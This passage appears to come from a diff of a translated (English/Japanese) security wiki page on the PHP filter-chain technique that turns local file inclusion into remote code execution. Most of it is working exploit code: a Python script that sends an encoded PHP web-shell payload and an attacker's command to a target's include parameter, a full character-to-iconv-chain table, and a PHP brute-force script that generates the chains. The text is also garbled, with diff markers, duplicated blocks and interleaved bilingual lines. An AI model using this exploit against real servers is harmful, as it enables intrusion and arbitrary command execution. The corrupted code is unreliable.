base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
@ -81,101 +80,97 @@ filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
```
### 改善点
### Improvements
The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to **bruteforce all the base64 characters**:
前のスクリプトは、そのペイロードに必要なbase64文字に制限されています。したがって、私は**すべてのbase64文字をブルートフォースする**ための独自のスクリプトを作成しました:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}
```
Here is the **script** to get encodings that generate each b64 letter:
ここに各b64文字を生成するエンコーディングを取得するための**スクリプト**があります:
```php
<?php
@ -186,91 +181,89 @@ $known = array();
function get_tranform($val, $convs){
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
foreach($convs as $conv){
$val = @iconv($conv[0], $conv[1], $val);
}
return $val;
}
function test_value($val, $convs){
global $known;
global $known;
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
$cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
$re_check = get_tranform("r", $convs);
$cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
if ($cleaned2 === $cleaned){
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$conv_str = "";
foreach($convs as $conv){
$conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
}
$conv_str = substr_replace($conv_str ,"", -1);
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
$value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp");
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (strlen($value) > 0) {
echo "Combination found for letter $cleaned: ";
array_push($known, $cleaned);
echo "$conv_str\n";
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
if (count($known) == 64){
echo "All found\n";
exit(0);
}
}
}
}
}
function find_vals($init_val) {
global $convs;
global $convs;
$convs_used = array();
$current_val = iconv("UTF8", "CSISO2022KR", $init_val);
